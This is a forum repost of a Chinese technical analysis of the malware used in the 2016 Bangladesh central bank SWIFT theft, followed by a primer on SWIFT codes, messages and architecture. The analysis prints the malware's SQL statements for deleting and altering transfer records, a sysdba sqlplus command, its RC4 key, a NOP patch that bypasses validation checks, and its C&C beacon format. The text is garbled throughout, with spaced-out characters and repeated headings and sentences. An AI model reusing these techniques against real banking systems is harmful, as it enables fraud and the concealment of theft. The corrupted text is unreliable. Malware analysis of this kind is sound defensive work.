搜索

[10249] 2016-06-29_SWIFT惊天银行大劫案全程分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2016-06-29_SWIFT惊天银行大劫案全程分析 S W I F T 惊 天 银 行 大 劫 案 全 程 分 析 白 泽 安 全 团 队   F r e e B u f   2 0 1 6 - 0 6 - 2 9 1 . 前 言 前 言 最 近 ， 使 用 国 际 银 行 业 合 作 最 近 ， 使 用 国 际 银 行 业 合 作 S W I F T 系 统 的 银 行 频 频 发 生 被 盗 ， 是 由 于 系 统 的 银 行 频 频 发 生 被 盗 ， 是 由 于 S W I F T 系 统 真 的 存 在 严 重 安 全 问 题 ， 还 是 跟 好 莱 坞 大 系 统 真 的 存 在 严 重 安 全 问 题 ， 还 是 跟 好 莱 坞 大 片 那 样 直 接 撬 开 银 行 金 库 ？ 本 文 将 针 对 孟 加 拉 国 央 行 被 盗 的 案 例 进 行 了 技 术 分 析 ， 还 原 银 行 被 盗 的 整 个 过 程 。 片 那 样 直 接 撬 开 银 行 金 库 ？ 本 文 将 针 对 孟 加 拉 国 央 行 被 盗 的 案 例 进 行 了 技 术 分 析 ， 还 原 银 行 被 盗 的 整 个 过 程 。 本 文 将 分 为 两 大 部 分 ： 本 文 将 分 为 两 大 部 分 ： 第 一 部 分 为 孟 加 拉 国 央 行 案 例 的 整 体 分 析 ， 包 括 孟 加 拉 国 央 行 的 风 险 分 析 ， 木 马 分 析 ， 篡 改 金 额 等 具 体 技 术 细 节 分 析 ， 第 二 部 分 为 科 普 S W I F T 系 统 基 本 简 介 、 银 行 识 别 代 码 、 报 文 以 及 系 统 架 构 等 知 识 。 如 果 不 熟 悉 S W I F T 整 个 系 统 流 程 的 可 先 阅 读 第 二 部 分 了 解 S W I F T 机 制 再 阅 读 第 一 部 分 的 木 马 分 析 。 2 . 孟 加 拉 国 央 行 被 盗 过 程 还 原 孟 加 拉 国 央 行 被 盗 过 程 还 原 2 . 1 .     事 件 概 述 事 件 概 述 从 去 年 开 始 ， 世 界 范 围 内 使 用 S W I F T 系 统 的 银 行 相 继 被 曝 出 盗 窃 案 件 ， 从 2 0 1 5 年 1 月 的 厄 瓜 多 尔 银 行 损 失 1 2 0 0 万 美 元 ， 1 0 月 的 菲 律 宾 银 行 ， 到 今 年 2 月 孟 加 拉 国 央 行 曝 出 被 盗 窃 8 1 0 0 万 美 元 。 一 系 列 的 案 件 逐 渐 引 起 了 人 们 对 S W I F T 系 统 的 关 注 ， 并 对 S W I F T 系 统 的 安 全 性 打 上 了 问 号 。 根 据 孟 加 拉 国 央 行 人 员 以 及 警 方 消 息 ， 孟 加 拉 国 央 行 被 盗 并 非 空 穴 来 风 ， 原 因 是 该 行 缺 乏 任 何 防 火 墙 设 备 ， 而 且 使 用 的 是 价 值 1 0 美 元 的 二 手 交 换 机 ， 网 络 结 构 也 没 有 将 S W I F T 相 关 服 务 器 与 其 他 网 络 做 隔 离 。 有 进 一 步 的 消 息 表 明 ， 孟 加 拉 国 央 行 的 技 术 人 员 搭 建 了 可 以 直 接 访 问 S W I F T 系 统 的 W I F I 接 入 点 ， 只 使 用 了 简 单 的 密 码 保 护 ， 另 一 方 面 ， 安 装 了 S W I F T 系 统 的 服 务 器 并 没 有 禁 用 U S B 接 口 ， 这 些 种 种 现 象 表 明 ， 该 行 的 网 络 安 全 存 在 各 种 巨 大 安 全 隐 患 ， 被 黑 客 盯 上 只 是 时 间 的 问 题 。 本 报 告 重 点 对 木 马 主 程 序 进 行 了 逆 向 分 析 ， 包 括 行 为 监 控 ， 绕 过 安 全 校 验 机 制 ， 篡 改 金 额 等 进 行 了 分 析 ， 覆 盖 了 整 个 窃 取 金 额 的 主 要 流 程 。 对 于 黑 客 幕 后 组 织 ， 其 他 银 行 S W I F T 被 盗 案 例 暂 不 深 入 分 析 。 从 下 面 的 攻 击 流 程 概 要 可 以 看 出 ： 木 马 程 序 e v t d i a g . e x e 可 以 用 不 同 的 参 数 来 启 动 ， 主 要 功 能 是 以 W i n d o w s 服 务 启 动 的 进 程 来 实 现 。 通 过 配 置 文 件 读 取 攻 击 所 需 要 的 信 息 ， 如 C C 服 务 器 地 址 ， S W I F T 报 文 关 键 字 段 ， 收 款 人 等 ， 然 后 通 过 实 时 监 听 转 账 交 易 缓 存 记 录 ， 实 时 劫 持 到 转 账 所 需 要 的 消 息 I D ， 并 在 数 据 库 中 删 除 该 交 易 记 录 。
接 下 来 恶 意 程 序 通 过 监 控 日 志 查 找 孟 加 拉 国 央 行 的 登 录 行 为 ， 如 果 没 有 找 到 则 睡 眠 5 秒 后 再 次 搜 索 。 当 监 控 到 登 录 行 为 后 ， 绕 过 S W I F T 客 户 端 的 安 全 机 制 后 ， 监 控 关 键 目 录 下 的 缓 存 报 文 信 息 并 解 析 ， 根 据 解 析 结 果 获 得 转 账 账 户 当 前 最 大 可 用 余 额 ， 并 成 功 篡 改 交 易 金 额 和 收 款 人 ， 达 到 窃 取 资 金 的 目 的 。 此 外 恶 意 程 序 还 劫 持 打 印 机 篡 改 需 要 打 印 的 对 账 单 ， 避 免 银 行 业 务 人 员 发 现 篡 改 行 为 ， 从 而 延 长 了 银 行 追 查 资 金 的 时 间 ， 让 黑 客 有 更 多 的 时 间 去 洗 钱 。 2 . 2 .     攻 击 前 的 准 备 攻 击 前 的 准 备 根 据 第 一 部 分 介 绍 的 S W I F T 系 统 基 础 知 识 ， 最 容 易 切 入 的 点 非 S W I F T 接 入 服 务 器 莫 属 ， 攻 击 者 通 过 种 植 精 心 编 译 的 木 马 得 到 S W I F T   A l l i a n c e   A c c e s s   s o f t w a r e 服 务 器 的 权 限 ， 重 点 攻 破 以 下 几 个 关 卡 达 到 了 窃 取 非 法 资 金 的 目 的 ：
l       获 得 获 得 S W I F T A l l i a n c e   A c c e s s   s o f t w a r e 控 制 权 控 制 权 l       破 解 破 解 S W I F T 报 文 安 全 检 验 机 制 报 文 安 全 检 验 机 制 l       监 听 目 标 报 文 并 进 行 篡 改 操 作 并 实 现 对 账 平 衡 （ 主 要 是 转 入 监 听 目 标 报 文 并 进 行 篡 改 操 作 并 实 现 对 账 平 衡 （ 主 要 是 转 入 / 转 出 ） 转 出 ） l       劫 持 打 印 机 打 印 篡 改 前 对 账 单 劫 持 打 印 机 打 印 篡 改 前 对 账 单 整 理 获 取 到 的 信 息 ， 从 恶 意 软 件 样 本 可 以 看 出 攻 击 者 不 仅 有 良 好 的 恶 意 软 件 编 写 功 底 ， 还 对 整 个 S W I F T 架 构 业 务 非 常 熟 悉 ， 甚 至 对 数 据 库 的 表 结 构 都 了 如 指 掌 。 2 . 3 .     恶 意 文 件 的 启 动 恶 意 文 件 的 启 动 启 动 恶 意 程 序 e v t d i a g . e x e 时 接 收 不 同 的 启 动 参 数 ， 从 而 达 到 不 同 的 功 能 。 接 收 的 参 数 有 - s v c 、 - g 、 - p 、 r e s u m e 、 p a u s e 、 o n 、 o f f 、 q u e u e ， 其 中 o n 、 p a u s e 、 r e s u m e 、 o f f 、 q u e u e 都 是 对 打 印 机 功 能 的 操 作 ， - s v c 参 数 则 是 将 木 马 以 w i n d o w s 服 务 方 式 启 动 ， 服 务 名 为 e v t s y s . e x e 。 在 运 行 时 ， 恶 意 软 件 通 过 读 取 它 的 配 置 文 件 g p c a . d a t ， 该 配 置 文 件 在 服 务 器 的 路 径 如 下 ： [ R O O T _ D R I V E ] : U s e r s A d m i n i s t r a t o r A p p D a t a L o c a l A l l i a n s g p c a . d a t 而 且 通 过 R C 4 加 密 ， 而 密 钥 如 下 : 4 e   3 8   1 f   a 7   7 f   0 8   c c   a a   0 d   5 6   e d   e f   f 9   e d 0 8   e f 该 恶 意 软 件 还 通 过 以 下 的 文 件 来 记 录 恶 意 程 序 的 日 志 信 息 ： [ R O O T _ D R I V E ] : U s e r s A d m i n i s t r a t o r A p p D a t a L o c a l A l l i a n s r e c a s . d a t 2 . 4 .   实 时 监 控 转 账 交 易 实 时 监 控 转 账 交 易 恶 意 软 件 的 第 二 个 步 骤 是 开 始 进 行 监 听 S W I F T   F i n a n c i a l   A p p l i c a t i o n   ( F I N ) 报 文 ， 重 点 关 注 下 面 目 录 的 * P R C 和 * f a l 文 件
[ R O O T _ D R I V E ] : U s e r s A d m i n i s t r a t o r A p p D a t a L o c a l A l l i a n s m c m i n [ R O O T _ D R I V E ] : U s e r s A d m i n i s t r a t o r A p p D a t a L o c a l A l l i a n s m c m o u t 猜 测 这 两 个 目 录 保 存 的 转 入 / 转 出 报 文 的 临 时 文 件 ， 而 * P R C 和 * F A L 文 件 则 是 转 账 对 应 的 报 文 。 恶 意 程 序 会 深 入 解 析 这 两 种 格 式 的 文 件 ， 根 据 配 置 文 件 g p c a . d a t 定 义 的 字 符 串 进 行 搜 索 ， 定 义 的 字 符 串 如 下 ： “ F I N   9 0 0   C o n f i r m a t i o n   o f   D e b i t ” （ F I N   9 0 0 确 认 借 记 ） “ 2 0 :   T r a n s a c t i o n ” （ 2 0 ： 交 易 ） “ S e n d e r   : ” （ 汇 款 方 ） 如 果 搜 索 到 了 指 定 的 字 符 串 则 会 尝 试 提 取 M E S G _ T R N _ R E F （ 汇 款 人 ） 和 M E S G _ S E N D E R _ S W I F T _ A D D R E S S （ 汇 款 人 S W I F T 地 址 ） 信 息 ， 紧 接 着 可 以 通 过 M E S G _ T R N _ R E F （ 汇 款 人 ） 和 M E S G _ S E N D E R _ S W I F T _ A D D R E S S （ 汇 款 人 的 S W I F T 地 址 ） 这 两 个 值 拼 接 成 一 个 S Q L 语 句 ， 来 获 得 唯 一 的 S W I F T 消 息 I D ： S E L E C T   M E S G _ S _ U M I D F R O M   S A A O W N E R . M E S G _ % s W H E R E     M E S G _ S E N D E R _ S W I F T _ A D D R E S S   L I K E   ' % % % s % % '   A N D M E S G _ T R N _ R E F   L I K E   ' % % % s % % ' ; 获 得 该 S W I F T 消 息 I D 后 ， 在 本 地 数 据 库 中 删 除 本 条 交 易 记 录 ： D E L E T E   F R O M   S A A O W N E R . M E S G _ % s W H E R E   M E S G _ S _ U M I D   =   ' % s ' ; D E L E T E   F R O M   S A A O W N E R . T E X T _ % s   W H E R E   T E X T _ S _ U M I D   =   ' % s ' ; 这 里 解 释 一 下 M E S G _ S _ U M I D 以 及 这 个 操 作 的 含 义 。 根 据 业 内 人 士 介 绍 ， M E S G _ S _ U M I D 所 对 应 的 银 行 收 到 的 汇 款 请 求 I D ， 该 I D 对 应 的 记 录 包 含 了 汇 款 请 求 所 需 要 的 各 种 信 息 ， 包 括 转 账 账 户 ， 收 款 账 户 ， 汇 款 金 额 ， 汇 款 银 行 等 。 从 业 务 场 景 分 析 来 看 ， 被 攻 击 的 银 行 实 际 是 个 代 理 行 ， 在 正 常 的 业 务 流 程 下 ， 代 理 行 接 收 到 汇 款 请 求 后 ， 确 认 无 误 后 再 转 发 给 S W I F T 系 统 的 下 一 个 结 点 ， 而 代 理 行 被 攻 击 的 场 景 下 ， 在 数 据 库 中 将 代 理 行 收 到 的 汇 款 请 求 删 除 ， 即 意 味 着 将 正 常 的 汇 款 交 易 请 求 记 录 在 数 据 库 被 删 除 了 。 接 下 来 所 有 需 要 执 行 的 S Q L 语 句 都 被 劫 持 ， 并 保 存 到 以 ” S Q L ” 开 头 的 临 时 文 件 中 ， 而 且 所 有 的 S Q L 语 句 执 行 前 把 数 据 的 异 常 输 出 都 关 闭 ， 确 保 不 被 系 统 或 管 理 员 发 现 异 常 ： S E T   H E A D I N G   O F F ;
S E T   L I N E S I Z E   3 2 5 6 7 ; S E T   F E E D B A C K   O F F ; S E T   E C H O   O F F ; S E T   F E E D   O F F ; S E T   V E R I F Y   O F F ; 将 S Q L 临 时 文 件 构 成 后 ， 恶 意 软 件 通 过 以 下 命 令 在 终 端 以 s y s d b a 的 权 限 来 执 行 S Q L 语 句 ： c m d . e x e   / c   e c h o   e x i t   | s q l p l u s   - S   /   a s     s y s d b a @ [ S Q L _ S t a t e m e n t s ] >   [ O U T P U T _ F I L E ] 之 后 恶 意 程 序 进 入 一 个 循 环 ， 它 将 一 直 在 数 据 库 中 搜 索 包 含 “ 登 录 ” 的 日 志 记 录 ： S E L E C T   * F R O M   ( S E L E C T J R N L _ D I S P L A Y _ T E X T ,   J R N L _ D A T E _ T I M E F R O M   S A A O W N E R . J R N L _ % s W H E R E   J R N L _ D I S P L A Y _ T E X T   L I K E   ' % % L T   B B H O B D D H A :   L o g % % '   O R D E R B Y   J R N L _ D A T E _ T I M E   D E S C )   A W H E R E   R O W N U M   =   1 ; P S ： B B H O B D D H 为 孟 加 拉 国 在 达 卡 的 S W I F T 代 码 ， 即 孟 加 拉 国 央 行 如 果 没 有 搜 索 到 “ 登 录 ” 记 录 ， 则 休 眠 5 秒 ， 然 后 再 次 尝 试 搜 索 。 如 果 搜 索 到 “ 登 录 ” 记 录 ， 则 向 C & C 服 务 器 发 送 一 个 G E T 请 求 ， G E T 请 求 格 式 如 下 ： [ C & C _ s e r v e r ] / a l ? [ d a t a ] d a t a 有 以 下 三 种 情 况 ： — O ： O p e n ， 检 测 到 登 录 行 为 ； — C ： C l o s e ， 检 测 到 注 销 行 为 ； — N ： N o n e ， 没 有 事 件 发 生 。
2 . 5 .     绕 过 安 全 机 制 绕 过 安 全 机 制 通 过 S W I F T 的 系 统 架 构 可 以 知 道 在 整 个 S W I F T 系 统 的 地 区 处 理 机 （ R P ） 会 将 S W I F T 访 问 点 （ S A P ） 提 交 的 业 务 报 文 进 行 一 系 列 的 安 全 校 验 ， 包 括 格 式 ， 语 法 ， 地 址 代 码 等 信 息 ， 如 果 安 全 检 测 不 通 过 则 停 止 往 上 提 交 ， 同 时 会 返 回 给 S A P 提 示 报 文 错 误 信 息 。 除 了 在 R P 有 安 全 检 验 外 ， S W I F T   A l l i a n c e   A c c e s s   s o f t w a r e 同 样 存 在 安 全 校 验 。 通 过 分 析 得 知 ， S W I F T A l l i a n c e   A c c e s s   s o f t w a r e 的 安 全 校 验 是 依 靠 挂 载 了 l i b o r a d b . d l l 的 进 程 。 恶 意 软 件 通 过 遍 历 所 有 的 进 程 信 息 ， 如 果 找 到 一 个 挂 载 了 l i b o r a d b . d l l 进 程 ， 它 会 在 进 程 的 特 定 偏 移 地 址 更 改 2 个 字 节 数 据 。 实 际 操 作 是 用 N O P 指 令 （ 0 × 9 0 , 0 × 9 0 ） 替 换 J N Z 指 令 （ 0 × 7 5 , 0 × 0 4 ） ， 玩 过 破 解 的 人 们 都 知 道 这 是 软 件 暴 力 破 解 最 常 用 的 手 段 之 一 。 这 个 关 键 跳 的 作 用 就 是 判 断 报 文 是 否 符 合 安 全 校 验 的 关 键 跳 ， 而 报 文 在 S A P / R A P ， R P 节 点 只 对 报 文 的 格 式 规 范 进 行 校 验 ， 缺 少 对 安 全 性 的 校 验 ， 因 此 可 以 成 功 绕 过 S W I F T 的 报 文 安 全 校 验 机 制 。 这 样 更 改 的 效 果 是 重 要 的 安 全 检 验 结 果 将 被 忽 略 ， 安 全 校 验 代 码 永 远 执 行 不 了 “ 失 败 ” ， 而 且 保 存 校 验 结 果 的 e a x 寄 存 器 都 是 赋 值 0 （ 意 味 着 成 功 ） 。 该 l i b o r a d b . d l l 是 属 于 S W I F T ’ s   A l l i a n c e   s o f t w a r e 的 组 件 之 一 ， 负 责 的 功 能 有 ： 从 注 册 表 中 获 取 数 据 库 的 路 径 启 动 数 据 库
执 行 数 据 库 的 备 份 和 恢 复 功 能 到 目 前 为 止 ， 恶 意 软 件 通 过 修 改 S W I F T ’ s   A l l i a n c e   s o f t w a r e 软 件 达 到 劫 持 的 目 的 ， 攻 击 者 可 以 在 服 务 器 上 操 作 S W I F T 报 文 和 数 据 库 的 控 制 权 限 。 2 . 6 .     篡 改 金 额 并 维 持 平 衡 篡 改 金 额 并 维 持 平 衡 恶 意 软 件 从 以 下 目 录 监 听 S W I F T 报 文 ， 将 监 听 到 的 报 文 进 行 解 析 ， 对 以 下 信 息 进 行 重 点 关 注 ： " 1 9 A :   A m o u n t " " :   D e b i t " " D e b i t / C r e d i t   : " " S e n d e r   : " " A m o u n t   : " " F E D E R A L   R E S E R V E   B A N K " "   D " "   C " " 6 2 F :   " “ 6 0 F :   " " 6 0 M :   " " 6 2 M :   " " C r e d i t " " D e b i t " "   6 4 :   " "   2 0 :   T r a n s a c t i o n " " 9 0 B :   P r i c e " 6 2 F ： 该 对 帐 单 结 束 时 的 帐 面 结 存 的 最 后 余 额 6 0 F ： 该 对 帐 单 结 束 时 的 帐 面 结 存 的 起 始 余 额 1 9 A ： 该 对 帐 单 涉 及 的 交 易 金 额 恶 意 软 件 通 过 以 上 关 键 字 搜 索 到 了 所 需 要 的 信 息 ， 然 后 通 过 M E S G _ S _ U M I D 查 询 有 S E L E C T M E S G _ F I N _ C C Y _ A M O U N T   F R O M   S A A O W N E R . M E S G _ % s   W H E R E   M E S G _ S _ U M I D   =   ' % s ' ; 另 外 该 恶 意 软 件 也 可 以 通 过 上 一 步 查 询 到 的 余 额 和 汇 款 方 S W I F T 地 址 来 获 得 唯 一 的 S W I F T 消 息 I D （ M E S G _ S _ U M I D   ） S E L E C T   M E S G _ S _ U M I D F R O M   S A A O W N E R . M E S G _ % s W H E R E M E S G _ S E N D E R _ S W I F T _ A D D R E S S   L I K E   ' % % % s % % '   A N D M E S G _ F I N _ C C Y _ A M O U N T L I K E   ' % % % s % % ' ; 最 后 可 以 通 过 U P D A T E 操 作 ， 将 转 账 消 息 中 的 交 易 余 额 更 改 为 之 前 获 得 到 的 最 多 可 用 余 额 （ M E S G _ F I N _ C C Y _ A M O U N T ） U P D A T E   S A A O W N E R . M E S G _ % s S E T   M E S G _ F I N _ C C Y _ A M O U N T   =   ' % s '   W H E R E   M E S G _ S _ U M I D   =   ' % s ' ; U P D A T E   S A A O W N E R . T E X T _ % s   S E T   T E X T _ D A T A _ B L O C K   =   U T L _ R A W . C A S T _ T O _ V A R C H A R 2 ( ' % s ' ) W H E R E   T E X T _ S _ U M I D   =   ' % s ' ; 其 中 T E X T _ D A T A _ B L O C K 字 段 包 含 了 汇 款 的 金 额 、 收 款 人 信 息 。 变 量 v 2 7 是 从 s u b _ 4 0 B 6 F 0 和 s u b _ 4 0 A 4 C 0 函 数 中 处 理 得 到 的 ， 通 过
进 一 步 分 析 s u b _ 4 0 B 6 F 0 函 数 得 知 ， 该 变 量 是 综 合 了 之 前 获 得 的 6 0 F ， 6 2 F ， 6 0 M ， 6 2 M 等 转 账 汇 报 信 息 ， 经 过 处 理 后 传 输 执 行 S Q L 语 句 的 函 数 ， 最 终 达 到 篡 改 金 额 的 目 的 。 2 . 7 .     欺 骗 打 印 机 欺 骗 打 印 机 以 上 的 操 作 已 经 可 以 在 S W I F T 系 统 中 进 行 任 意 的 转 账 ， 但 仅 仅 这 些 还 是 不 够 的 ， 因 为 S W I F T 系 统 进 行 转 账 业 务 时 仍 会 打 印 对 账 单 （ M T 9 5 0 ） 进 行 确 认 。 对 账 单 是 通 过 打 印 机 打 印 的 ， 这 个 过 程 好 比 个 人 去 银 行 柜 台 办 理 业 务 时 ， 银 行 通 常 会 打 印 办 理 业 务 确 认 信 息 供 客 户 签 字 确 认 ， 如 果 打 印 机 直 接 打 印 篡 改 后 的 转 账 记 录 ， 银 行 业 务 员 可 以 在 第 一 时 间 发 现 异 常 行 为 ， 这 直 接 会 暴 露 攻 击 者 意 图 而 且 转 账 失 败 。 因 此 攻 击 者 编 写 了 劫 持 打 印 对 账 单 的 恶 意 程 序 — —   n r o f f _ b . e x e 。 通 过 分 析 n r o f f . e x e 得 知 ， 该 程 序 接 收 以 下 参 数 ： - p   执 行 打 印 机 相 关 操 作 r e s u m e ： 恢 复 打 印 机 p a u s e : 暂 停 打 印 机 o n ： 连 接 打 印 机 o f f ： 断 开 打 印 机 q u e u e ： 枚 举 打 印 机 任 务 该 恶 意 程 序 通 过 劫 持 要 打 印 的 对 账 单 ， 进 行 读 取 ， 理 解 并 篡 改 成 打 印 机 命 令 语 言 （ P C L ） 的 P R T 文 本 ， 然 后 这 个 P R T 文 本 通 过 n r o f f . e x e 程 序 进 行 提 交 打 印 任 务 ， 提 交 打 印 任 务 后 随 即 将 临 时 P R T 文 本 彻 底 删 除 。 3 . S W I F T 系 统 基 础 介 绍 系 统 基 础 介 绍 3 . 1 .     S W I F T 简 介 简 介 S W I F T 又 称 ： “ 环 球 同 业 银 行 金 融 电 讯 协 会 ” ， 是 国 际 银 行 同 业 间 的 国 际 合 作 组 织 ， 成 立 于 一 九 七 三 年 ， 总 部 设 在 比 利 时 的 布 鲁 塞 尔 ， 同 时 在 荷 兰 阿 姆 斯 特 丹 和 美 国 纽 约 分 别 设 立 交 换 中 心 ( S w i f t i n g   C e n t e r ) ， 并 为 各 参 加 国 开 设 集 线 中 心 ( N a t i o n a l   C o n c e n t r a t i o n ) ， 为 国 际 金 融 业 务 提 供 快 捷 、 准 确 、 优 良 的 服 务 。 目 前 全 球 大 多 数 国 家 大 多 数 银 行 已 使 用 S W I F T 系 统 。 S W I F T 的 使 用 ， 使 银 行 的 结 算 提 供 了 安 全 、 可 靠 、 快 捷 、 标 准 化 、 自 动 化 的 通 讯 业 务 ， 从 而 大 大 提 高 了 银 行 的 结 算 速 度 。 3 . 2 .     S W I F T 银 行 识 别 代 码 银 行 识 别 代 码 每 个 银 行 申 请 加 入 S W I F T 组 织 时 ， S W I F T 会 根 据 统 一 原 则 分 配 属 于 本 行 的 S W I F T 地 址 代 码 （ 相 当 于 一 个 银 行 账 户 ） 。 银 行 识 别 码 （ B a n k   I d e n t i f i e r   C o d e — B I C ） 是 由 电 脑 可 以 自 动 判 读 的 八 位 或 是 十 一 位 英 文 字 母 或 阿 拉 伯 数 字 组 成 ， 以 中 国 银 行 北 京 分 行 为 例 ：
3 . 3 .     S W I F T 提 供 的 服 务 提 供 的 服 务 接 入 服 务 （ C o n n e c t i v i t y ） 包 括 S W I F T   A l l i a n c e A c c e s s   a n d   E n t r y   、 S W I F T A l l i a n c e   G a t e w a y   、 S W I F T A l l i a n c e   W e b s t a t i o n   、 F i l e   T r a n s f e r I n t e r f a c e   等 接 入 模 式 ； 金 融 信 息 传 送 服 务 （ M e s s a g i n g ） 包 括 S W I F T N e t F I N   、 S W I F T N e t   I n t e r A c t   、 S W I F T   F i l e A c t   、 S W I F T N e B r o w s e   等 传 输 模 式 ； 交 易 处 理 服 务 （ t r a n s a c t i o n p r o c e s s i n g ） 提 供 交 易 处 理 匹 配 服 务 、 实 时 报 告 的 双 边 净 额 清 算 服 务 、 支 持 B 2 B 的 商 务 中 的 端 对 端 电 子 支 付 等 ； 分 析 服 务 与 分 析 工 具 （ A n a l y t i c a l S e r v i c e s / T o o l s ） 向 金 融 机 构 提 供 一 些 辅 助 性 的 服 务 ， 即 分 析 服 务 与 分 析 工 具 。 本 次 央 行 被 盗 的 突 破 口 就 是 接 入 服 务 的 S W I F T   A l l i a n c e   a c c e s s   s o f t w a r e 软 件 服 务 被 种 植 了 转 账 木 马 的 。 3 . 4 .     S W I F T 报 文 报 文 银 行 常 用 的 S W I F T 报 文 格 式 有 ： M T 1 0 0 客 户 汇 款 ； M T 2 0 0 单 笔 银 行 头 寸 调 入 发 报 行 账 户 ； M T 2 0 2 单 笔 银 行 头 寸 调 拨 ； M T 2 0 4 备 付 金 索 汇 ； M T 4 0 0 付 款 通 知 （ 托 收 ） ； M T 7 0 0 开 立 跟 单 信 用 证 ； M T 7 0 7 跟 单 信 用 证 的 修 改 ； M T 9 0 0 借 记 证 实 ； M T 9 1 0 贷 记 证 实 M T 9 5 0 对 账 单 ； M T n 9 5 查 询 ； M T n 9 9 自 由 格 式 。 3 . 5 .     S W I F T 系 统 架 构 系 统 架 构 S W I F T 网 络 由 许 多 分 布 在 世 界 各 地 的 计 算 机 和 网 络 设 备 组 成 ， 这 些 设 备 在 S W I F T 网 络 中 称 为 节 点 。 S W I F T 的 系 统 构 架 图 如 下 ：
（ （ 1 ） 系 统 控 制 处 理 机 （ ） 系 统 控 制 处 理 机 （ s y s t e m c o n t r o l   p r o c e s s o r ， 缩 写 为 ， 缩 写 为 S C P ） ） 整 个 S W I F T 网 络 的 控 制 集 中 在 整 个 操 作 中 心 ， 一 个 在 美 国 ， 一 个 在 荷 兰 。 S C P 负 责 整 个 W S I F T 网 络 的 正 常 运 行 ， 不 断 监 测 直 辖 市 、 控 制 网 络 中 的 各 种 设 备 、 线 路 和 用 户 访 问 。 在 美 国 、 荷 兰 的 操 作 中 心 ， 各 有 两 台 S C P ， 在 任 何 时 刻 ， 只 有 一 台 处 于 激 活 状 态 ， 控 制 整 个 网 络 ， 其 余 三 台 S C P 处 于 热 备 份 状 态 ， 在 激 活 S C P 出 现 故 障 时 ， 备 份 S C P 被 激 活 ， 保 证 了 网 络 的 安 全 可 靠 性 。 （ （ 2 ） 片 处 理 机 （ ） 片 处 理 机 （ s l i c e   p r o c e s s o r ， 缩 写 为 ， 缩 写 为 S P ） ） S P 负 责 电 报 的 存 储 转 发 和 控 制 电 报 的 路 由 选 择 。 目 前 ， 两 个 操 作 中 心 各 有 两 台 S P 处 于 激 活 状 态 ， 同 时 每 个 激 活 的 S P 都 有 一 台 同 型 号 的 S P 进 行 热 备 份 。 为 适 应 发 报 量 不 断 增 长 的 需 要 ， 还 要 陆 续 增 加 S P 。 目 前 ， S W I F T 采 用 U N I S Y S 公 司 的 A 系 列 主 机 作 为 S C P 和 S P 。 （ （ 3 ） 地 区 处 理 机 （ ） 地 区 处 理 机 （ r e g i n a l p r o c e s s o r ， 缩 写 为 ， 缩 写 为 R P ） ） R P 是 连 接 S W I F T 网 络 终 端 （ c o m p u t e r   b a s e d   t e r m i n a l ， 缩 写 为 C B T ） 与 S W I F T 系 统 的 安 全 有 效 的 逻 辑 通 道 ， 运 行 在 R P 上 的 软 件 与 运 行 在 C B T 上 的 接 口 软 件 通 讯 ， 所 有 用 户 发 出 的 电 报 都 由 R P 对 其 格 式 、 语 法 、 地 址 代 码 等 进 行 审 核 ， 合 格 后 才 能 发 往 S P 。 在 电 报 即 将 出 网 进 入 C B T 前 ， 也 暂 时 存 在 R P 上 ， 等 待 送 达 接 收 用 户 。 每 台 R P 基 本 上 承 担 一 个 国 家 的 电 报 处 理 ， 所 以 称 之 为 地 区 处 理 机 ， 所 有 的 R P 都 在 美 国 和 荷 兰 的 两 大 操 作 中 心 内 。 （ （ 4 ） ） S W I F T 访 问 点 （ 访 问 点 （ S W I F T A c c e s s   P o i n t ， 缩 写 为 ， 缩 写 为 S A P ） 和 远 程 访 问 点 （ ） 和 远 程 访 问 点 （ R A P ） ） S A P 是 连 接 S W I F T 骨 干 网 （ S W I F T   t r a n s p o r t   n e t w o r k ， 缩 写 为 S T N ） 的 分 组 交 换 节 点 机 ， 他 们 把 S W I F T 系 统 的 各 种 处 理 机 （ S C P 、 S P 、 R P ） 和 遍 布 世 界 的 S W I F T 用 户 连 接 到 S T N 网 上 。 目 前 ， S A P 采 用 北 方 电 讯 公 司 的 D P N 1 0 0 交 换 机 ， 整 个 S W I F T 骨 干 网 有 1 5 0 台 左 右 D P N 1 0 0 交 换 机 （ 包 括 备 份 ） 。 （ （ 5 ） 用 户 与 ） 用 户 与 S A P 的 联 接 的 联 接
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理